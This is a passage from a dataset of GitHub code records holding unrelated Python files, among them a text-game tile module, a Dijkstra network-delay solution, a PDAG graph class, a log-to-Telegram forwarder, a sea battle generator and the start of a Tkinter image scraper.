\" in room \" + self.room_name)\n for door in self._room_data['hidden']['doors']:\n try:\n self.hidden.append(objects.Door(object_name=door, room=self))\n except:\n print(\"WARNING: Could not create hidden door \" + door.name + \" in room \" + self.room_name)\n for npc in self._room_data['hidden']['npcs']:\n try:\n self.hidden.append(npcs.create_npc(npc_category=npc, npc_name=npc, character=character, room=self))\n self.hidden[-1].start()\n except:\n print(\"WARNING: Could not create hidden npc \" + npc.name + \" in room \" + self.room_name)\n for category in self._room_data['hidden']['items']:\n for item in self._room_data['hidden']['items'][category]:\n try:\n self.hidden.append(items.create_item(item_category=category, item_name=item))\n except:\n print(\"WARNING: Could not create hidden item \" + item.name + \" in room \" + self.room_name)\n self.room_filled = True\n \n def fill_shop(self):\n if not self.shop_filled:\n self.shop = shops.Shop(shop_name=self.area, shop_items=self.shop_items)\n self.shop.write_shop_menu() \n self.shop_filled = True\n \n @property\n def room_number(self):\n with lock:\n return self._room_number\n @room_number.setter\n def room_number(self, room_number):\n with lock:\n self._room_number = room_number\n \n @property \n def is_shop(self):\n with lock:\n return self._is_shop\n \n @property\n def shop(self):\n with lock:\n return self._shop\n @shop.setter\n def shop(self, shop):\n with lock:\n self._shop = shop\n \n @property\n def shop_items(self):\n with lock:\n return self._shop_items\n\n def add_object(self, object):\n with lock:\n self.objects.append(object)\n return\n\n def add_hidden_object(self, object):\n with lock:\n self.hidden.append(object)\n return\n\n def remove_object(self, object):\n with lock:\n self.objects.remove(object)\n return\n\n def remove_hidden_object(self, object):\n with lock:\n self.hidden.remove(object)\n return\n\n def add_item(self, item):\n with lock:\n self.items.append(item)\n return\n\n def remove_item(self, item):\n with lock:\n self.items.remove(item)\n return\n\n def add_hidden_item(self, item):\n with lock:\n self.hidden.append(item)\n return\n\n def remove_hidden_item(self, item):\n with lock:\n self.hidden.remove(item)\n return\n\n def add_npc(self, npc):\n with lock:\n self.npcs.append(npc)\n return\n\n def add_hidden_npc(self, npc):\n with lock:\n self.hidden.append(npc)\n return\n\n def remove_npc(self, npc):\n with lock:\n self.npcs.remove(npc)\n return\n\n def remove_hidden_npc(self, npc):\n with lock:\n self.hidden.remove(npc)\n return\n\n def add_enemy(self, enemy):\n with lock:\n self.enemies.append(enemy)\n return\n\n def remove_enemy(self, enemy):\n with lock:\n self.enemies.remove(enemy)\n return\n\n\n def intro_text(self):\n intro_text = \"\"\"\\\n[{}, {}] \n{}\n{}\n{}\\\n \"\"\".format(self.area,\n self.room_name,\n wrapper.fill(text=self.description),\n self.obvious_exits(),\n self.all_objects())\n return intro_text\n\n def spawn_generator(self, character):\n return NotImplementedError()\n\n def search_room(self):\n pass\n\n def run(self, character):\n return NotImplementedError()\n\n\nclass Town(MapTile):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n\n def spawn_generator(self, character):\n pass\n\n def run(self, character):\n pass\n\n\nclass Dochas(Town):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n\n\nclass DochasGrounds(Town):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n\n\nclass DochasLeatherworks(Town):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n\n\nclass DochasSmallHouse(Town):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n \n \nclass DochasWeaponsmith(Town):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n\n\nclass EdgewoodForest(MapTile):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n\n def spawn_generator(self, character):\n area_rooms = world.area_rooms(self.area)\n while character.area == self.area.replace(\" \", \"\"):\n time.sleep(5)\n area_enemies = world.area_enemies(self.area)\n if len(area_enemies) < 1:\n area_rooms = {keys: value for keys, value in area_rooms.items() if value is not None}\n spawn_room_coords = random.choice(list(area_rooms))\n if random.randint(0,100) > 50:\n spawn_room = world.tile_exists(x=spawn_room_coords[0], y=spawn_room_coords[1], area=self.area)\n spawn_room.enemies.append(\n enemies.Enemy(enemy_name=self._room_data['spawn'][0],\n target=character,\n room=spawn_room,\n location_x=spawn_room_coords[0],\n location_y=spawn_room_coords[1],\n area=self.area))\n spawn_room.enemies[-1].start()\n\n\n def run(self, character):\n spawn_thread = threading.Thread(target=self.spawn_generator, args=(character,))\n spawn_thread.setDaemon(True)\n spawn_thread.start()\n\n\nclass Field(Town):\n def __init__(self, x, y, area_name, room_name, room_number):\n super().__init__(x=x, y=y, area_name=area_name, room_name=room_name, room_number=room_number)\n\n\n","repo_name":"turpenar/dion2","sub_path":"app/main/tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":12353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8817109424","text":"iterator = 1\n\n\ndef print_dict(myDict, iterator, symbol=\"\"):\n iterator += 1\n for k, v in myDict.items():\n print(symbol, k, \": \", end=\"\")\n if type(v) == type(myDict):\n print(\"\\n\", end=\"\")\n print_dict(v, iterator, (iterator * \"\\t\"))\n else:\n print(v)\n\n\npeople = {1: {'name': 'John', 'age': '27', 'sex': 'Male'},\n 2: {'name': 'Marie', 'age': '22', 'sex': 'Female'},\n 3: {'name': 'Peter', 'age': '29', 'sex': 'Male',\n 'parents': {\"mam\": \"Gohar\", \"father\": \"Smbat\", \"brother\": \"Alik\"}},\n 4: {'name': 'Peter', 'age': '29', 'sex': 'Male'}}\n\nprint_dict(people, iterator)\n","repo_name":"matevosyanmher/python","sub_path":"QA_Automation/Homework_8_Classes/printDictionary.py","file_name":"printDictionary.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18010351205","text":"# https://leetcode.com/problems/network-delay-time/description/\n# MEDIUM\n# Tags: graphlc, heaplc, minheaplc, djikstralc, #743\n\n# GIVEN:\n # a network of n nodes, labeled from 1 to n\n # array, times, a list of travel times as directed edges times[i] = (ui, vi, wi), where ui is the source node, vi is the target node, and wi is the time it takes for a signal to travel from source to target\n\n# TASK:\n # We will send a signal from a given node k\n # Return the minimum time it takes for all the n nodes to receive the signal\n # If it is impossible for all the n nodes to receive the signal, return -1\n\n# EXAMPLES:\n# Input: times = [[2,1,1],[2,3,1],[3,4,1]], n = 4, k = 2\n# Output: 2\n\n# Input: times = [[1,2,1]], n = 2, k = 1\n# Output: 1\n\n# Input: times = [[1,2,1]], n = 2, k = 2\n# Output: -1\n\n###########################################################################################################\n\n# ✅ ALGORITHM: DJIKSTRA'S ALGORITHM\n# Create a min heap that pops out the node in the path with the min total time\n# Once we have visited all n nodes, we can return this min total time\n\n# TIME COMPLEXITY: O(E log V)\n # each push/pop operation is O(log V)\n # in the worst case, we can push to heap E times (1 for each edge)\n # -> Overall TC = O(E log V)\n# SPACE COMPLEXITY: O(V^2)\n # worst case: every node is connected to every other node -> SC = O(V^2)\n\nfrom collections import defaultdict\nfrom heapq import heappop, heappush\n\ndef networkDelayTime(times, n, k):\n # build adjacency list of destination nodes and times\n graph = defaultdict(set)\n for src, dest, time in times:\n graph[src].add((dest, time))\n \n # graph[i] = { source_node: (\n # (destination_node1, time1), \n # (destination_node2, time2),\n # ...\n # )\n # }\n \n heap = [ (0, k) ] # add source node to heap\n visited = set()\n\n while heap:\n total_time, node = heappop(heap) # pop the node in the path with minimum total time\n visited.add(node)\n\n if len(visited) == n: # if we visited all nodes, i.e. all nodes have received signal\n return total_time # this total_time is the min. time needed visit all nodes\n\n for neighbor, time in graph[node]: # for each neighbor of current node,\n if neighbor not in visited:\n heappush(heap, (total_time + time, neighbor)) # visit neighbor by adding to heap\n \n return -1 # if no min. total time has been returned, it means we can't visit all nodes -> return -1","repo_name":"SlaveToJavascript/LeetCode","sub_path":"Heaps/NetworkDelayTime.py","file_name":"NetworkDelayTime.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19105471725","text":"import json\n\ndef load_json(file_name):\n \"\"\"Загружает посты из файла в список.\"\"\"\n \"\"\"Если файл не найден или в неподходящем формате, происходит логирование ошибки и\n возвращается пустой список\"\"\"\n with open(file_name, encoding='UTF-8') as file:\n return json.load(file)\n\ndef load_posts():\n \"\"\"загружает все наши посты\"\"\"\n data = load_json(\"data/posts.json\")\n for post in data:\n post['short'] = post['content'][:post['content'].find(\" \", 100)]\n return data\n\ndef load_comments(post_pk):\n \"\"\"возвращаем комментарии\"\"\"\n data = load_json('data/comments.json')\n return [comment for comment in data if comment['post_id'] == post_pk]\n\ndef load_posts_user_id(pk):\n \"\"\"загружает все наши посты\"\"\"\n data = load_posts()\n for post in data:\n if post['pk'] == pk:\n return post\n return 'нет поста с таким номером!'\n\ndef get_comments_by_post_id(post_id):\n \"\"\"возвращает комментарии определенного поста. \"\"\"\n for comment in load_posts():\n if comment[\"post_id\"] in post_id:\n return comment\n return 'у поста нет комментария!'\n\ndef search_for_posts(text):\n \"\"\" возвращает список постов по ключевому слову\"\"\"\n data = load_posts()\n post_filter = []\n for post in data:\n if text.lower() in post['content'].lower():\n post_filter.append(post)\n return post_filter\n\ndef search_for_name(name):\n \"\"\" возвращает список имени и что написал этот человек\"\"\"\n data = load_posts()\n post_filter = []\n for post in data:\n if name.lower() == post['poster_name'].lower():\n post_filter.append(post)\n return post_filter\n\n","repo_name":"melchoir1/course_work3","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41402381385","text":"import logging\nfrom collections import defaultdict\nfrom itertools import combinations\n\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\n\nlogger = logging.getLogger(__name__)\n\n\nclass PDAG:\n \"\"\"\n Class for dealing with partially directed graph i.e.\n graphs that contain both directed and undirected edges.\n \"\"\"\n\n def __init__(\n self,\n nodes: list = [],\n dir_edges: list[tuple] = [],\n undir_edges: list[tuple] = [],\n ):\n self._nodes = set(nodes)\n self._undir_edges = set()\n self._dir_edges = set()\n self._parents = defaultdict(set)\n self._children = defaultdict(set)\n self._neighbors = defaultdict(set)\n self._undirected_neighbors = defaultdict(set)\n\n for dir_edge in dir_edges:\n self._add_dir_edge(*dir_edge)\n for unir_edge in undir_edges:\n self._add_undir_edge(*unir_edge)\n\n def _add_dir_edge(self, i, j):\n self._nodes.add(i)\n self._nodes.add(j)\n self._dir_edges.add((i, j))\n\n self._neighbors[i].add(j)\n self._neighbors[j].add(i)\n\n self._children[i].add(j)\n self._parents[j].add(i)\n\n def _add_undir_edge(self, i, j):\n self._nodes.add(i)\n self._nodes.add(j)\n self._undir_edges.add((i, j))\n\n self._neighbors[i].add(j)\n self._neighbors[j].add(i)\n\n self._undirected_neighbors[i].add(j)\n self._undirected_neighbors[j].add(i)\n\n def children(self, node: str) -> set:\n if node in self._children.keys():\n return self._children[node]\n else:\n return set()\n\n def parents(self, node: str) -> set:\n if node in self._parents.keys():\n return self._parents[node]\n else:\n return set()\n\n def neighbors(self, node: str) -> set:\n if node in self._neighbors.keys():\n return self._neighbors[node]\n else:\n return set()\n\n def undir_neighbors(self, node: str) -> set:\n if node in self._undirected_neighbors.keys():\n return self._undirected_neighbors[node]\n else:\n return set()\n\n def is_adjacent(self, i, j):\n \"\"\"Return True if the graph contains an directed\n or undirected edge between i and j\"\"\"\n return any(\n (\n (j, i) in self.dir_edges or (j, i) in self.undir_edges,\n (i, j) in self.dir_edges or (i, j) in self.undir_edges,\n )\n )\n\n def is_clique(self, potential_clique: set) -> bool:\n \"\"\"\n Check every pair of node X potential_clique is adjacent.\n \"\"\"\n return all(self.is_adjacent(i, j) for i, j in combinations(potential_clique, 2))\n\n @classmethod\n def from_pandas(cls, pd_amat: pd.DataFrame):\n assert pd_amat.shape[0] == pd_amat.shape[1]\n nodes = pd_amat.columns\n\n all_connections = []\n start, end = np.where(pd_amat != 0)\n for idx, _ in enumerate(start):\n all_connections.append(\n (pd_amat.columns[start[idx]], pd_amat.columns[end[idx]])\n )\n\n temp = [set(i) for i in all_connections]\n temp2 = [arc for arc in all_connections if temp.count(set(arc)) > 1]\n undir_edges = [tuple(item) for item in set(frozenset(item) for item in temp2)]\n\n dir_edges = [edge for edge in all_connections if edge not in temp2]\n\n return PDAG(nodes=nodes, dir_edges=dir_edges, undir_edges=undir_edges)\n\n def remove_node(self, node):\n \"\"\"Remove a node from the graph\"\"\"\n self._nodes.remove(node)\n\n self._dir_edges = {\n (i, j) for i, j in self._dir_edges if i != node and j != node\n }\n\n self._undir_edges = {\n (i, j) for i, j in self._undir_edges if i != node and j != node\n }\n\n for child in self._children[node]:\n self._parents[child].remove(node)\n self._neighbors[child].remove(node)\n\n for parent in self._parents[node]:\n self._children[parent].remove(node)\n self._neighbors[parent].remove(node)\n\n for u_nbr in self._undirected_neighbors[node]:\n self._undirected_neighbors[u_nbr].remove(node)\n self._neighbors[u_nbr].remove(node)\n\n self._parents.pop(node, \"I was never here\")\n self._children.pop(node, \"I was never here\")\n self._neighbors.pop(node, \"I was never here\")\n self._undirected_neighbors.pop(node, \"I was never here\")\n\n def to_dag(self) -> nx.DiGraph:\n \"\"\"\n Algorithm as described in Chickering (2002):\n\n 1. From PDAG P create DAG G containing all directed edges from P\n 2. Repeat the following: Select node v in P s.t.\n i. v has no outgoing edges (children) i.e. \\\\(ch(v) = \\\\emptyset \\\\)\n\n ii. \\\\(neigh(v) \\\\neq \\\\emptyset\\\\)\n Then \\\\( (pa(v) \\\\cup (neigh(v) \\\\) form a clique.\n For each v that is in a clique and is part of an undirected edge in P\n i.e. w - v, insert a directed edge w -> v in G.\n Remove v and all incident edges from P and continue with next node.\n Until all nodes have been deleted from P.\n\n Returns:\n nx.DiGraph: DAG that belongs to the MEC implied by the PDAG\n \"\"\"\n\n pdag = self.copy()\n\n dag = nx.DiGraph()\n dag.add_nodes_from(pdag.nodes)\n dag.add_edges_from(pdag.dir_edges)\n\n if pdag.num_undir_edges == 0:\n return dag\n else:\n while pdag.nnodes > 0:\n # find node with (1) no directed outgoing edges and\n # (2) the set of undirected neighbors is either empty or\n # undirected neighbors + parents of X are a clique\n found = False\n for node in pdag.nodes:\n children = pdag.children(node)\n neighbors = pdag.neighbors(node)\n pdag._undirected_neighbors[node]\n parents = pdag.parents(node)\n potential_clique_members = neighbors.union(parents)\n\n is_clique = pdag.is_clique(potential_clique_members)\n\n if not len(children) and (not len(neighbors) or is_clique):\n found = True\n # add all edges of node as outgoing edges to dag\n for edge in pdag.undir_edges:\n if node in edge:\n incident_node = set(edge) - {node}\n dag.add_edge(*incident_node, node)\n\n pdag.remove_node(node)\n break\n\n if not found:\n logger.warning(\"PDAG not extendible: Random DAG on skeleton drawn.\")\n\n dag = nx.from_pandas_adjacency(\n self._amat_to_dag(), create_using=nx.DiGraph\n )\n\n break\n\n return dag\n\n @property\n def adjacency_matrix(self) -> pd.DataFrame:\n amat = pd.DataFrame(\n np.zeros([self.nnodes, self.nnodes]),\n index=self.nodes,\n columns=self.nodes,\n )\n for edge in self.dir_edges:\n amat.loc[edge[0], edge[1]] = 1\n for edge in self.undir_edges:\n amat.loc[edge[0], edge[1]] = amat.loc[edge[1], edge[0]] = 1\n return amat\n\n def _amat_to_dag(self) -> pd.DataFrame:\n \"\"\"Transform the adjacency matrix of an PDAG to the adjacency\n matrix of a SOME DAG in the Markov equivalence class.\n\n Returns:\n pd.DataFrame: DAG, a member of the MEC.\n \"\"\"\n pdag_amat = self.adjacency_matrix.to_numpy()\n\n p = pdag_amat.shape[0]\n skel = pdag_amat + pdag_amat.T\n skel[np.where(skel > 1)] = 1\n permute_ord = np.random.choice(a=p, size=p, replace=False)\n skel = skel[:, permute_ord][permute_ord]\n\n for i in range(1, p):\n for j in range(0, i + 1):\n if skel[i, j] == 1:\n skel[i, j] = 0\n\n i_ord = np.sort(permute_ord)\n skel = skel[:, i_ord][i_ord]\n return pd.DataFrame(\n skel,\n index=self.adjacency_matrix.index,\n columns=self.adjacency_matrix.columns,\n )\n\n def vstructs(self):\n vstructs = set()\n for node in self._nodes:\n for p1, p2 in combinations(self._parents[node], 2):\n if p1 not in self._parents[p2] and p2 not in self._parents[p1]:\n vstructs.add((p1, node))\n vstructs.add((p2, node))\n return vstructs\n\n def copy(self):\n \"\"\"Return a copy of the graph\"\"\"\n return PDAG(\n nodes=self._nodes, dir_edges=self._dir_edges, undir_edges=self._undir_edges\n )\n\n def show(self):\n \"\"\"Plot PDAG.\"\"\"\n graph = self.to_networkx()\n pos = nx.circular_layout(graph)\n nx.draw(graph, pos=pos, with_labels=True)\n\n def to_networkx(self) -> nx.MultiDiGraph:\n \"\"\"Convert to networkx graph.\n\n Returns:\n nx.MultiDiGraph: Graph with directed and undirected edges.\n \"\"\"\n nx_pdag = nx.MultiDiGraph(self.dir_edges)\n for edge in self.undir_edges:\n nx_pdag.add_edge(*edge)\n nx_pdag.add_edge(*edge[::-1])\n\n return nx_pdag\n\n @property\n def nodes(self):\n return sorted(list(self._nodes))\n\n @property\n def nnodes(self):\n return len(self._nodes)\n\n @property\n def num_undir_edges(self):\n return len(self._undir_edges)\n\n @property\n def num_dir_edges(self):\n return len(self._dir_edges)\n\n @property\n def num_adjacencies(self):\n return self.num_undir_edges + self.num_edges\n\n @property\n def undir_edges(self):\n return list(self._undir_edges)\n\n @property\n def dir_edges(self):\n return list(self._dir_edges)\n","repo_name":"boschresearch/causalAssembly","sub_path":"causalAssembly/pdag.py","file_name":"pdag.py","file_ext":"py","file_size_in_byte":10048,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"21252616272","text":"import os\nimport time\nfrom dotenv import load_dotenv\nimport telebot\n\n# Load .env\nload_dotenv()\n\nAPI_TOKEN = os.environ['API_TOKEN']\nCHAT_ID = os.environ['CHAT_ID']\nFILE_PATH = os.environ['FILE_PATH']\n\n# Init Telegram Bot\ntb = telebot.TeleBot(API_TOKEN, parse_mode=None)\n\n\ndef reading_log_files(filename):\n with open(filename, \"r\") as f:\n data = f.read().splitlines()\n return data\n\n\ndef log_generator(filename, period=15):\n data = reading_log_files(filename)\n while True:\n time.sleep(period)\n new_data = reading_log_files(filename)\n yield new_data[len(data):]\n data = new_data\n\n\nif __name__ == '__main__':\n x = log_generator(FILE_PATH)\n for lines in x:\n # lines will be a list of new lines added at the end\n # print(lines)\n for message in lines:\n if message:\n tb.send_message(CHAT_ID, message)\n","repo_name":"edtk/log-to-telegram","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19567533028","text":"from pprint import pprint\r\n\r\nimport requests\r\n\r\nTOKEN = \" \"\r\n\r\n\r\nclass YandexDisk:\r\n\r\n def __init__(self, token):\r\n self.token = token\r\n\r\n def get_headers(self):\r\n return {\r\n 'Content-Type': 'application/json',\r\n 'Authorization': 'OAuth {}'.format(self.token)\r\n }\r\n\r\n def get_files_list(self):\r\n files_url = 'https://akabab.github.io/superhero-api/api/all.json'\r\n headers = {\r\n 'Content-Type': 'application/json',\r\n 'Authorization': 'OAuth {}'.format(self.token)\r\n }\r\n # headers = self.get_headers()\r\n response = requests.get(files_url, headers=headers)\r\n\r\n\r\n heroes = []\r\n for hero in response.json():\r\n # print(hero)\r\n if hero['name'] in ['Hulk', 'Captain America', 'Thanos']:\r\n heroes.append(\r\n {'id': hero['id'], 'name': hero['name'], 'intelligence': hero['powerstats']['intelligence']})\r\n # print(heroes)\r\n max_intelligence = max(heroes, key=lambda x: x['intelligence'])['name']\r\n print(f'Самый умный среди супергероев - {max_intelligence}')\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n ya = YandexDisk(token=TOKEN)\r\nya.get_files_list()\r\n","repo_name":"AndreyPotapovAndrey/Hero","sub_path":"Hero.py","file_name":"Hero.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3147148774","text":"import pymongo\n\nmyclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\nmydb = myclient[\"itingen\"]\n\n\n\"\"\"\n This returns an array of venues / pevents / tevents. Iterate over them simply like so:\n\n for venue in venues:\n print(venue)\n\"\"\"\nvenues = mydb[\"venues\"].find()\npevents = mydb[\"pevents\"].find()\ntevents = mydb[\"tevents\"].find()\n\n\n","repo_name":"maxxliu/ItinGen","sub_path":"app/helpers/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31253898998","text":"import random\nimport string\n\n\ndef read_file(path):\n \"\"\"\n (str) -> (list)\n Reads data of battle field.\n True if there is ship by current coordinates.\n \"\"\"\n try:\n with open(path, 'r', encoding='UTF-8', errors='ignore') as file:\n field = file.read().split('\\n')\n field = [row + ' ' * (10 - len(row)) for row in field]\n return field\n except FileNotFoundError:\n print(\"There is no file with such name.\")\n\n\ndef is_valid(field):\n \"\"\"\n (list) -> (bool)\n Returns if field is right.\n If not, then AssertionError.\n \"\"\"\n def right_ship(crd):\n \"\"\"\n (tuple) -> (bool, size)\n Returns if ship is correct and size of this ship.\n \"\"\"\n if (has_ship(field, (crd[0] - 1, crd[1])) or\n has_ship(field, (crd[0] + 1, crd[1]))) and \\\n (has_ship(field, (crd[0], crd[1] - 1)) or\n has_ship(field, (crd[0], crd[1] + 1))):\n print(\"Invalid shape of ships.\")\n return (False, [0, 0])\n return (True, ship_size(field, crd))\n\n assert len(field) == 10, \"Invalid size of field.\"\n for row in field:\n assert len(row) == 10, \"Invalid size of field.\"\n for el in row:\n assert el in [' ', '*', 'X'], \"Invalid chars in field\"\n\n # Checking ships in field\n ships = {1: 0, 2: 0, 3: 0, 4: 0}\n field = new_field(field)\n for i in range(10):\n for j in range(10):\n try:\n ship_info = right_ship((i, j))\n if not ship_info[0]:\n return False\n if ship_info[1] != [0, 0]:\n # Increase number of ships with such size\n ships[max(ship_info[1])] += 1\n except KeyError:\n return False\n return ships == {1: 4, 2: 6, 3: 6, 4: 4}\n\n\ndef new_field(field):\n \"\"\"\n (list) -> (list)\n Creates new field, more comfortable for further process.\n \"\"\"\n field = [[el == ('*' or 'X') for el in row] for row in field]\n return field\n\n\ndef normal_coordinates(crd):\n \"\"\"\n (tuple) -> (tuple)\n Returns coordinates with first coordinate as int.\n \"\"\"\n if not isinstance(crd[0], int):\n return (ord(crd[0]) - ord('A'), crd[1] - 1)\n else:\n return crd\n\n\ndef valid_coordinates(crd):\n \"\"\"\n (tuple) -> (bool)\n Returns if coordinates are possible.\n \"\"\"\n crd = normal_coordinates(crd)\n return (0 <= crd[0] < 10) and (0 <= crd[1] < 10)\n\n\ndef has_ship(field, crd):\n \"\"\"\n (list, tuple) -> bool\n Returns if by there coordinates is ship.\n \"\"\"\n crd = normal_coordinates(crd)\n return field[crd[0]][crd[1]]\n\n\ndef ship_size(field, crd, pre_crd=(-1, -1)):\n \"\"\"\n (list, tuple) -> (int)\n Returns size of ship be coordinates.\n \"\"\"\n crd = normal_coordinates(crd)\n size = [0, 0]\n if valid_coordinates(crd) and has_ship(field, crd):\n if (crd[0] - 1, crd[1]) != pre_crd:\n size[1] += ship_size(field, (crd[0] - 1, crd[1]), crd)[1]\n if (crd[0] + 1, crd[1]) != pre_crd:\n size[1] += ship_size(field, (crd[0] + 1, crd[1]), crd)[1]\n if (crd[0], crd[1] - 1) != pre_crd:\n size[0] += ship_size(field, (crd[0], crd[1] - 1), crd)[0]\n if (crd[0], crd[1] + 1) != pre_crd:\n size[0] += ship_size(field, (crd[0], crd[1] + 1), crd)[0]\n size[0] += 1\n size[1] += 1\n return size\n\n\ndef field_to_str(field):\n \"\"\"\n (list) -> (str)\n Returns string of field.\n Used for printing.\n \"\"\"\n if isinstance(field[0], str):\n return '\\n'.join(field)\n # First line of number coordinates\n line = ' ' + ' '.join([str(x) for x in range(1, 11)]) + '\\n'\n for i, row in enumerate(field):\n # Letter coordinate\n line += string.ascii_uppercase[i] + ' '\n for el in row:\n if el:\n line += '* '\n else:\n line += '_ '\n line += '\\n'\n return line\n\n\ndef generate_field():\n \"\"\"\n () -> (list)\n Generating field for sea battle.\n \"\"\"\n def new_ship(size, number):\n \"\"\"\n (int) -> changed field.\n Put new ship into field.\n \"\"\"\n def is_new_ship(crd):\n \"\"\"\n (tuple) -> bool\n In this coordinates can be new ship 1*1.\n \"\"\"\n for i in range(crd[0] - 1, crd[0] + 2):\n for j in range(crd[1] - 1, crd[1] + 2):\n if field[i][j]:\n return False\n return True\n\n def continue_ship(crd, size, side):\n \"\"\"\n (tuple, int, str) -> bool\n Returns if ship with such size and side can be continued.\n \"\"\"\n # Down\n if side:\n if (10 - crd[0]) >= size:\n for i in range(crd[0] + 1, crd[0] + size + 2):\n for j in range(crd[1] - 1, crd[1] + 2):\n if field[i][j]:\n return False\n else:\n return False\n # Right\n else:\n if (10 - crd[1]) >= size:\n for i in range(crd[0] - 1, crd[0] + 2):\n for j in range(crd[1] + 1, crd[1] + size + 2):\n if field[i][j]:\n return False\n else:\n return False\n return True\n\n def new_ship_into_field(point, side, size):\n \"\"\"\n (list) -> changed field.\n \"\"\"\n ship = [point]\n # Down\n if side:\n for i in range(1, size):\n ship.append((point[0] + i, point[1]))\n else:\n for i in range(1, size):\n ship.append((point[0], point[1] + i))\n\n for part in ship:\n field[part[0]][part[1]] = (number, not side, size)\n\n point = (random.randint(1, 10), random.randint(1, 10))\n if is_new_ship(point):\n # 0 -- right, 1 -- down\n side = random.randint(0, 1)\n if continue_ship(point, size - 1, side):\n new_ship_into_field(point, side, size)\n else:\n side = not side\n if continue_ship(point, size - 1, side):\n new_ship_into_field(point, side, size)\n else:\n new_ship(size, number)\n else:\n new_ship(size, number)\n\n field = [[False] * 12 for i in range(12)]\n number = 1\n # For each size put ship\n for size in range(4, 0, -1):\n number_of_ships = 5 - size\n for i in range(number_of_ships):\n new_ship(size, number)\n number += 1\n\n # Cut from frame\n field = field[1: -1]\n field = list(map(lambda x: x[1: -1], field))\n return field\n","repo_name":"sofiia-tesliuk/SeaBattle","sub_path":"task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":6893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"32641156206","text":"#!/usr/bin/env python\n\nimport json\nimport subprocess\nimport sys\n\nwith open(sys.argv[1], 'r') as fh:\n api = json.load(fh)\n\nnew_api = {\n \"$schema\": api[\"$schema\"],\n \"type\": \"Object\",\n \"title\": \"EChartsOption\",\n \"properties\": api[\"option\"][\"properties\"]\n}\n\n\ndef clean(value):\n return value.strip(\"'\").rstrip(\"'\")\n\n\ndef iterate(array):\n for i, value in enumerate(array):\n if isinstance(value, dict):\n walk(value)\n elif isinstance(value, str):\n array[i] = clean(value)\n elif isinstance(value, list):\n iterate(value)\n\n\ndef walk(node):\n for key, value in node.items():\n if isinstance(value, dict):\n walk(value)\n elif isinstance(value, list):\n iterate(value)\n elif isinstance(value, str):\n node[key] = clean(value)\n\n\nwalk(new_api)\n\ntmpfile = sys.argv[1] + '.clean'\nwith open(tmpfile, 'w') as fh:\n json.dump(new_api, fh, indent=4)\n\nproc = subprocess.run(f\"\"\"\n datamodel-codegen\n --class-name EChartsOption\n --base-class ezcharts.plots._base.BaseModel\n --use-schema-description --reuse-model\n --input {tmpfile} --input-file-type jsonschema\"\"\".split(),\n capture_output=True)\n\n# make some changes to the models\nmodel = proc.stdout.decode()\n\nlaundry_list = dict(\n dataset=dict(\n find=\"dataset: Optional[Dataset] = Field(\",\n replace=\"dataset: Optional[Union[List[Dataset], Dataset]] = Field(\"),\n grid=dict(\n find=\"grid: Optional[Grid] = Field(\",\n replace=\"grid: Optional[Union[List[Grid], Grid]] = Field(\"),\n xaxis=dict(\n find=\"xAxis: Optional[XAxis] = Field(\",\n replace=\"xAxis: Optional[Union[List[XAxis], XAxis]] = Field(\"),\n yaxis=dict(\n find=\"yAxis: Optional[YAxis] = Field(\",\n replace=\"yAxis: Optional[Union[List[YAxis], YAxis]] = Field(\"),\n renderitem=dict(\n find=\"renderItem: Optional[RenderItem] = Field(\",\n replace=\"renderItem: Optional[JSCode] = Field(\"),\n imports=dict(\n find=\"from __future__ import annotations\",\n replace=\"\"\"from __future__ import annotations\\n\n from ezcharts.plots.util import JSCode\"\"\"))\n\nfor k, v in laundry_list.items():\n model = model.replace(v['find'], v['replace'])\n\nwith open(\"ezcharts/plots/_model.py\", 'w') as fh:\n fh.write(\"# flake8: noqa\\n\")\n fh.write(model)\n","repo_name":"epi2me-labs/ezcharts","sub_path":"generate-model.py","file_name":"generate-model.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"82"} +{"seq_id":"74101074189","text":"# guiscrape.py\n\nfrom tkinter import *\nfrom tkinter import ttk, filedialog, messagebox\nimport base64\nimport json\nimport os\nfrom bs4 import BeautifulSoup\nimport requests\n\nconfig = {} # This will be our memory\n\n# Scaning the given url:\ndef fetch_url():\n url = _url.get()\n config['images'] = []\n 